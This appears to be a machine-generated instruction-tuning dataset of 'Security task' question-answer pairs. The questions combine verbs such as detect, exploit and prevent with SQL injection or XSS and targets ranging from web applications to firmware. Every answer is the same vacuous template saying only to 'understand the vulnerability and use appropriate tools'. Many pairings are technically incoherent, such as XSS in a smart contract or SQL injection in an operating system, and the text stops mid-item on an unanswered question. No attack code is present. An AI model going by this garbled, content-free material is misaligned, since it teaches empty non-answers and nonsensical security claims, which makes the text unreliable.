Input: How do I test for SQL injection in a web application?

Output: To test for SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a web application?

Output: To scan for SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a web application?

Output: To identify SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a web application?

Output: To mitigate SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a web application?

Output: To assess SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a web application?

Output: To analyze SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a web application?

Output: To investigate SQL injection in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a API?

Output: To detect SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a API?

Output: To exploit SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a API?

Output: To prevent SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a API?

Output: To test for SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a API?

Output: To scan for SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a API?

Output: To identify SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a API?

Output: To mitigate SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a API?

Output: To assess SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a API?

Output: To analyze SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a API?

Output: To investigate SQL injection in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a mobile app?

Output: To detect SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a mobile app?

Output: To exploit SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a mobile app?

Output: To prevent SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a mobile app?

Output: To test for SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a mobile app?

Output: To scan for SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a mobile app?

Output: To identify SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a mobile app?

Output: To mitigate SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a mobile app?

Output: To assess SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a mobile app?

Output: To analyze SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a mobile app?

Output: To investigate SQL injection in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a network service?

Output: To detect SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a network service?

Output: To exploit SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a network service?

Output: To prevent SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a network service?

Output: To test for SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a network service?

Output: To scan for SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a network service?

Output: To identify SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a network service?

Output: To mitigate SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a network service?

Output: To assess SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a network service?

Output: To analyze SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a network service?

Output: To investigate SQL injection in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a database?

Output: To detect SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a database?

Output: To exploit SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a database?

Output: To prevent SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a database?

Output: To test for SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a database?

Output: To scan for SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a database?

Output: To identify SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a database?

Output: To mitigate SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a database?

Output: To assess SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a database?

Output: To analyze SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a database?

Output: To investigate SQL injection in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a cloud infrastructure?

Output: To detect SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a cloud infrastructure?

Output: To exploit SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a cloud infrastructure?

Output: To prevent SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a cloud infrastructure?

Output: To test for SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a cloud infrastructure?

Output: To scan for SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a cloud infrastructure?

Output: To identify SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a cloud infrastructure?

Output: To mitigate SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a cloud infrastructure?

Output: To assess SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a cloud infrastructure?

Output: To analyze SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a cloud infrastructure?

Output: To investigate SQL injection in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a IoT device?

Output: To detect SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a IoT device?

Output: To exploit SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a IoT device?

Output: To prevent SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a IoT device?

Output: To test for SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a IoT device?

Output: To scan for SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a IoT device?

Output: To identify SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a IoT device?

Output: To mitigate SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a IoT device?

Output: To assess SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a IoT device?

Output: To analyze SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a IoT device?

Output: To investigate SQL injection in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a smart contract?

Output: To detect SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a smart contract?

Output: To exploit SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a smart contract?

Output: To prevent SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a smart contract?

Output: To test for SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a smart contract?

Output: To scan for SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a smart contract?

Output: To identify SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a smart contract?

Output: To mitigate SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a smart contract?

Output: To assess SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a smart contract?

Output: To analyze SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a smart contract?

Output: To investigate SQL injection in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a operating system?

Output: To detect SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a operating system?

Output: To exploit SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a operating system?

Output: To prevent SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a operating system?

Output: To test for SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a operating system?

Output: To scan for SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a operating system?

Output: To identify SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a operating system?

Output: To mitigate SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a operating system?

Output: To assess SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a operating system?

Output: To analyze SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a operating system?

Output: To investigate SQL injection in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect SQL injection in a firmware?

Output: To detect SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit SQL injection in a firmware?

Output: To exploit SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent SQL injection in a firmware?

Output: To prevent SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for SQL injection in a firmware?

Output: To test for SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for SQL injection in a firmware?

Output: To scan for SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify SQL injection in a firmware?

Output: To identify SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate SQL injection in a firmware?

Output: To mitigate SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess SQL injection in a firmware?

Output: To assess SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze SQL injection in a firmware?

Output: To analyze SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate SQL injection in a firmware?

Output: To investigate SQL injection in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a web application?

Output: To detect XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a web application?

Output: To exploit XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a web application?

Output: To prevent XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a web application?

Output: To test for XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a web application?

Output: To scan for XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a web application?

Output: To identify XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a web application?

Output: To mitigate XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a web application?

Output: To assess XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a web application?

Output: To analyze XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a web application?

Output: To investigate XSS in a web application, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a API?

Output: To detect XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a API?

Output: To exploit XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a API?

Output: To prevent XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a API?

Output: To test for XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a API?

Output: To scan for XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a API?

Output: To identify XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a API?

Output: To mitigate XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a API?

Output: To assess XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a API?

Output: To analyze XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a API?

Output: To investigate XSS in a API, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a mobile app?

Output: To detect XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a mobile app?

Output: To exploit XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a mobile app?

Output: To prevent XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a mobile app?

Output: To test for XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a mobile app?

Output: To scan for XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a mobile app?

Output: To identify XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a mobile app?

Output: To mitigate XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a mobile app?

Output: To assess XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a mobile app?

Output: To analyze XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a mobile app?

Output: To investigate XSS in a mobile app, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a network service?

Output: To detect XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a network service?

Output: To exploit XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a network service?

Output: To prevent XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a network service?

Output: To test for XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a network service?

Output: To scan for XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a network service?

Output: To identify XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a network service?

Output: To mitigate XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a network service?

Output: To assess XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a network service?

Output: To analyze XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a network service?

Output: To investigate XSS in a network service, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a database?

Output: To detect XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a database?

Output: To exploit XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a database?

Output: To prevent XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a database?

Output: To test for XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a database?

Output: To scan for XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a database?

Output: To identify XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a database?

Output: To mitigate XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a database?

Output: To assess XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a database?

Output: To analyze XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a database?

Output: To investigate XSS in a database, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a cloud infrastructure?

Output: To detect XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a cloud infrastructure?

Output: To exploit XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a cloud infrastructure?

Output: To prevent XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a cloud infrastructure?

Output: To test for XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a cloud infrastructure?

Output: To scan for XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a cloud infrastructure?

Output: To identify XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a cloud infrastructure?

Output: To mitigate XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a cloud infrastructure?

Output: To assess XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a cloud infrastructure?

Output: To analyze XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a cloud infrastructure?

Output: To investigate XSS in a cloud infrastructure, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a IoT device?

Output: To detect XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a IoT device?

Output: To exploit XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a IoT device?

Output: To prevent XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a IoT device?

Output: To test for XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a IoT device?

Output: To scan for XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a IoT device?

Output: To identify XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a IoT device?

Output: To mitigate XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a IoT device?

Output: To assess XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a IoT device?

Output: To analyze XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a IoT device?

Output: To investigate XSS in a IoT device, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a smart contract?

Output: To detect XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a smart contract?

Output: To exploit XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a smart contract?

Output: To prevent XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a smart contract?

Output: To test for XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a smart contract?

Output: To scan for XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a smart contract?

Output: To identify XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a smart contract?

Output: To mitigate XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a smart contract?

Output: To assess XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a smart contract?

Output: To analyze XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a smart contract?

Output: To investigate XSS in a smart contract, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a operating system?

Output: To detect XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a operating system?

Output: To exploit XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a operating system?

Output: To prevent XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a operating system?

Output: To test for XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a operating system?

Output: To scan for XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a operating system?

Output: To identify XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a operating system?

Output: To mitigate XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a operating system?

Output: To assess XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a operating system?

Output: To analyze XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I investigate XSS in a operating system?

Output: To investigate XSS in a operating system, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I detect XSS in a firmware?

Output: To detect XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I exploit XSS in a firmware?

Output: To exploit XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I prevent XSS in a firmware?

Output: To prevent XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I test for XSS in a firmware?

Output: To test for XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I scan for XSS in a firmware?

Output: To scan for XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I identify XSS in a firmware?

Output: To identify XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I mitigate XSS in a firmware?

Output: To mitigate XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I assess XSS in a firmware?

Output: To assess XSS in a firmware, you need to understand the vulnerability and use appropriate tools and techniques specific to that environment.


Instruction: Security task

Input: How do I analyze XSS in a firmware?

